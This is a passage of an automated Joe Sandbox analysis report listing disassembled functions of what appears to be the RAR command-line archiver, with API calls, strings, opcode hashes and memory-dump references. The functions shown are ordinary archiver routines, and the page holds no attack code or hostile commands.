Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: ab07719b1dbe22030e8646d784921353e02d3757405243c58476c88a44abd4a6
Instruction ID: 298c4801b5fa0a3770d7d9f12883f0897256884471e754b12e28ad3b8a2f2cb2
Opcode Fuzzy Hash: ab07719b1dbe22030e8646d784921353e02d3757405243c58476c88a44abd4a6
Instruction Fuzzy Hash: DB41D171E0DE13C2FB68BB10A491279E661AF90B60F80443DD90D0B691FE3CE84CCB60

Function 00007FF71D2C4D1C Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32 ref: 00007FF71D2C4D47

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: CommandLine
String ID:
API String ID: 3253501508-0
Opcode ID: 73dd7db7cbad1becb968eb67897256c98e4567ab7c48d7e0ed9ada2aa3175c64
Instruction ID: f85eaefe0d83da283df4f9fd6e97c5cc8dfa44e9a1a84edecda07dec543063bb
Opcode Fuzzy Hash: 73dd7db7cbad1becb968eb67897256c98e4567ab7c48d7e0ed9ada2aa3175c64
Instruction Fuzzy Hash: 7101881161CD4285EA15B756A4001BFD760AF45BA4FC80435EE5D07359FE3EE84A8B20

Function 00007FF71D2FA924 Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

CompareStringA.KERNELBASE ref: 00007FF71D2FA998

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: CompareString
String ID:
API String ID: 1825529933-0
Opcode ID: c6d6092b44314f1ca84e49c6934a556cb6b0378942b6d95cbaf43525491768f7
Instruction ID: 60b99ba75bc06e66be20e4596541c240c1d2ab8007a082067f6540044e248bc6
Opcode Fuzzy Hash: c6d6092b44314f1ca84e49c6934a556cb6b0378942b6d95cbaf43525491768f7
Instruction Fuzzy Hash: 0001677170CA9285EE107F16A40506AE651BB59FD0F984834EF8D4BB5AEE3DD0464B14

Function 00007FF71D314B8C Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: cd8da7e225d4e054d7198354b045464c529c48aefb4b06018a4c08b75c41078c
Instruction ID: a20010d629400f028473c7956ae65a86067801d9ec96f0056ee73e661d6bc9dc
Opcode Fuzzy Hash: cd8da7e225d4e054d7198354b045464c529c48aefb4b06018a4c08b75c41078c
Instruction Fuzzy Hash: 44012C74A0CE43C0F968B6A69A4027AD3915F84BF4FD8C238ED5D462D6FD6CA40D4A30

Function 00007FF71D2D4554 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE ref: 00007FF71D2D4590

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 86a096c0879f1b9d169584fab09b4cfda0d24ba67280b30728083c95e77eed4d
Instruction ID: aa21dc81eecc23164f58e126a64fdcf1af3368bcd011913400f74876e6935c5d
Opcode Fuzzy Hash: 86a096c0879f1b9d169584fab09b4cfda0d24ba67280b30728083c95e77eed4d
Instruction Fuzzy Hash: E2F0863290CAC146DA11AB7191152F8A7509B16BB5F484335DEBC0B2D7DE5CD08D8F30

Function 00007FF71D314AB4 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 00007FF71D314AF2

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a83705ac74b444f5500bec44348e0038c9b669d93df90df5323591eb77280fd7
Instruction ID: b212977cbe4fac0f8f82bef3a69da04df68ae1f7e6a686866be63d6536195b4b
Opcode Fuzzy Hash: a83705ac74b444f5500bec44348e0038c9b669d93df90df5323591eb77280fd7
Instruction Fuzzy Hash: 44F05E31E0DA43C0FA947AA25850279D3944F447B0FC9463CED2E463C1FE5CE44C8934

Function 00007FF71D2D1930 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE ref: 00007FF71D2D1958

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 305123b72896ec2dd4b418a3029193d626c13bb17abecb185ad3ed686754e208
Instruction ID: e18ccaf49ecca36cbb698190efa1662a95a16b937b69c70bb0528d81c40be418
Opcode Fuzzy Hash: 305123b72896ec2dd4b418a3029193d626c13bb17abecb185ad3ed686754e208
Instruction Fuzzy Hash: E8F0A433A0CE8685FB65AF64E4503B5A650DB00B78FA85334D63D054D9EF68D89ACB60

Function 00007FF71D2E38A4 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 549de7c3646322cf803f0a3d8ad362b1ba55d15b021e669189a15772740b4565
Instruction ID: 5ea481b4296c95d6a5b47cf02d9859f53966a4f8e10e406570b06e3156cef129
Opcode Fuzzy Hash: 549de7c3646322cf803f0a3d8ad362b1ba55d15b021e669189a15772740b4565
Instruction Fuzzy Hash: D5E04F60F1DB0680ED5876A218610B983401F5EBA3ED45438CC3E26382FD1DE45D5E20

Function 00007FF71D31FA10 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

FreeLibrary.KERNELBASE ref: 00007FF71D31FA20

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: ad9dbc15abe3f0918cc6563c4feaf8e34a932a80ed0fd1217961902de98c1a45
Instruction ID: a5c2db7213306d8fef6b0ee04fb863264fa893708608ee5eba4d5fee99762a49
Opcode Fuzzy Hash: ad9dbc15abe3f0918cc6563c4feaf8e34a932a80ed0fd1217961902de98c1a45
Instruction Fuzzy Hash: D9D01776E1ED06C2F705AB40A845330E6716F583B9FC9073CC40D04550EFAC206C8A20

Function 00007FF71D2D4538 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(00000000,?,00000000,?,00007FF71D2F7A8C), ref: 00007FF71D2D4549

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: a24fb093fec38f84a6413999e1ec44e694111a5c33ce1815f6d0c44c0494d0b9
Instruction ID: d99d2a82c6a1829564e5a71374fc301fa8c4a71200823344da53e180484d4845
Opcode Fuzzy Hash: a24fb093fec38f84a6413999e1ec44e694111a5c33ce1815f6d0c44c0494d0b9
Instruction Fuzzy Hash: B1C02B36E09C81C0D504732D88550749210BF44B35FD00330C13D051E0EF1840EF0B10

Non-executed Functions

Function 00007FF71D2D67E0 Relevance: 42.4, APIs: 1, Strings: 23, Instructions: 441COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF71D2F49F4: LoadStringW.USER32 ref: 00007FF71D2F4A7B
Part of subcall function 00007FF71D2F49F4: LoadStringW.USER32 ref: 00007FF71D2F4A94

Part of subcall function 00007FF71D2C8444: fflush.LIBCMT ref: 00007FF71D2C8477

Part of subcall function 00007FF71D2FB6D0: Sleep.KERNEL32(?,?,?,?,00007FF71D2CCBED,?,00000000,?,00007FF71D2F7A8C), ref: 00007FF71D2FB730

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF71D2D6CB0

Strings

%s%s, xrefs: 00007FF71D2D6B24
%.10ls %u, xrefs: 00007FF71D2D6C9D
----------- --------- -------- ----- ---------- ----- -------- ----, xrefs: 00007FF71D2D6D6A
RAR 4, xrefs: 00007FF71D2D6987
RAR 5, xrefs: 00007FF71D2D698E
%21ls %9ls %3d%% %28ls %u, xrefs: 00007FF71D2D6F85
%s%s, xrefs: 00007FF71D2D6A74
V, xrefs: 00007FF71D2D6D62
%s: %s, xrefs: 00007FF71D2D6962
%s%s, xrefs: 00007FF71D2D6AB2
----------- --------- ---------- ----- ----, xrefs: 00007FF71D2D6DB0
%12ls: %ls, xrefs: 00007FF71D2D6CD8
%21ls %18s %lu, xrefs: 00007FF71D2D6FA4
%s%s, xrefs: 00007FF71D2D69EB
%s%s, xrefs: 00007FF71D2D6AED
%21ls %-16ls %u, xrefs: 00007FF71D2D6DCD
%s%s, xrefs: 00007FF71D2D69C0
%21ls %9ls %3d%% %-27ls %u, xrefs: 00007FF71D2D6DA2
RAR 1.4, xrefs: 00007FF71D2D69A0
EOF, xrefs: 00007FF71D2D6CD1
%s: , xrefs: 00007FF71D2D697B
%s%s, xrefs: 00007FF71D2D6A17
%12ls: %ls, xrefs: 00007FF71D2D6D01

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: LoadString$Sleepfflushswprintf
String ID: %12ls: %ls$%12ls: %ls$%21ls %-16ls %u$%21ls %9ls %3d%% %-27ls %u$%s: $%s: %s$----------- --------- -------- ----- ---------- ----- -------- ----$----------- --------- ---------- ----- ----$%.10ls %u$%21ls %18s %lu$%21ls %9ls %3d%% %28ls %u$%s%s$%s%s$%s%s$%s%s$%s%s$%s%s$%s%s$EOF$RAR 1.4$RAR 4$RAR 5$V
API String ID: 668332963-4283793440
Opcode ID: cff16b410779efd6418cbb4bfaefd77790891fdcb5da60b35bb77876aa469163
Instruction ID: 4d7f8a1fab6fe606155c94b5148df2606649452cf41f22f33cd71f48d78db8d7
Opcode Fuzzy Hash: cff16b410779efd6418cbb4bfaefd77790891fdcb5da60b35bb77876aa469163
Instruction Fuzzy Hash: 1C226222A0CEC695EB30FB24D8501FAE761EB55364FC44036D69D0769AFE6CE54DCB20

Function 00007FF71D2CD2C0 Relevance: 23.1, APIs: 9, Strings: 4, Instructions: 313fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF71D2CD4A6
CloseHandle.KERNEL32 ref: 00007FF71D2CD4B9

Part of subcall function 00007FF71D2CEF50: GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF71D2CEE47), ref: 00007FF71D2CEF73
Part of subcall function 00007FF71D2CEF50: OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,00007FF71D2CEE47), ref: 00007FF71D2CEF84
Part of subcall function 00007FF71D2CEF50: LookupPrivilegeValueW.ADVAPI32 ref: 00007FF71D2CEFA7
Part of subcall function 00007FF71D2CEF50: AdjustTokenPrivileges.ADVAPI32 ref: 00007FF71D2CEFCA
Part of subcall function 00007FF71D2CEF50: GetLastError.KERNEL32 ref: 00007FF71D2CEFD4
Part of subcall function 00007FF71D2CEF50: CloseHandle.KERNEL32 ref: 00007FF71D2CEFE7

CreateDirectoryW.KERNEL32 ref: 00007FF71D2CD4C6
CreateFileW.KERNEL32 ref: 00007FF71D2CD64A
DeviceIoControl.KERNEL32 ref: 00007FF71D2CD68B
CloseHandle.KERNEL32 ref: 00007FF71D2CD69A
GetLastError.KERNEL32 ref: 00007FF71D2CD6AD
RemoveDirectoryW.KERNEL32 ref: 00007FF71D2CD6FA
DeleteFileW.KERNEL32 ref: 00007FF71D2CD705

Part of subcall function 00007FF71D2D2310: FlushFileBuffers.KERNEL32 ref: 00007FF71D2D233E
Part of subcall function 00007FF71D2D2310: SetFileTime.KERNEL32 ref: 00007FF71D2D23DB

Part of subcall function 00007FF71D2D1930: FindCloseChangeNotification.KERNELBASE ref: 00007FF71D2D1958

Part of subcall function 00007FF71D2D39E0: SetFileAttributesW.KERNEL32(?,00007FF71D2D34EE,?,?,?,?,00000800,00000000,00000000,00007FF71D2E38CB,?,?,?,00007FF71D2E41EC), ref: 00007FF71D2D3A0F
Part of subcall function 00007FF71D2D39E0: SetFileAttributesW.KERNEL32(?,00007FF71D2D34EE,?,?,?,?,00000800,00000000,00000000,00007FF71D2E38CB,?,?,?,00007FF71D2E41EC), ref: 00007FF71D2D3A3C

Strings

\??\, xrefs: 00007FF71D2CD390
UNC\, xrefs: 00007FF71D2CD3BD
SeRestorePrivilege, xrefs: 00007FF71D2CD31C
SeCreateSymbolicLinkPrivilege, xrefs: 00007FF71D2CD328

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: File$Close$CreateHandle$AttributesDirectoryErrorLastProcessToken$AdjustBuffersChangeControlCurrentDeleteDeviceFindFlushLookupNotificationOpenPrivilegePrivilegesRemoveTimeValue
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 2827264287-3508440684
Opcode ID: 1a7d86559847920f8bb109ab3d7291439b8a259b3f48a060f5ee007c4e7161c6
Instruction ID: 2b58673a4a9e39686c389d0975f335c3d48a6f981125a8c4fd61571ed47e771b
Opcode Fuzzy Hash: 1a7d86559847920f8bb109ab3d7291439b8a259b3f48a060f5ee007c4e7161c6
Instruction Fuzzy Hash: 5AD1C236A1CA8685EB20EF24D8502F9A3A0FB447A8F904135DA6D476D5FF3CD50ECB20

Function 00007FF71D2FAE50 Relevance: 23.0, APIs: 8, Strings: 5, Instructions: 281libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF71D2B2E4C), ref: 00007FF71D2FAEE9
GetProcAddress.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF71D2B2E4C), ref: 00007FF71D2FAF01
GetProcAddress.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF71D2B2E4C), ref: 00007FF71D2FAF19
GetCurrentDirectoryW.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF71D2B2E4C), ref: 00007FF71D2FAF75
GetFullPathNameA.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF71D2B2E4C), ref: 00007FF71D2FAFB0
SetCurrentDirectoryW.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF71D2B2E4C), ref: 00007FF71D2FB23B
FreeLibrary.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF71D2B2E4C), ref: 00007FF71D2FB244
FreeLibrary.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF71D2B2E4C), ref: 00007FF71D2FB287

Strings

MAPIFreeBuffer, xrefs: 00007FF71D2FAF0F
MAPI32.DLL, xrefs: 00007FF71D2FAEC2
MAPISendMail, xrefs: 00007FF71D2FAEDF
MAPIResolveName, xrefs: 00007FF71D2FAEF7
SMTP:, xrefs: 00007FF71D2FB069

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
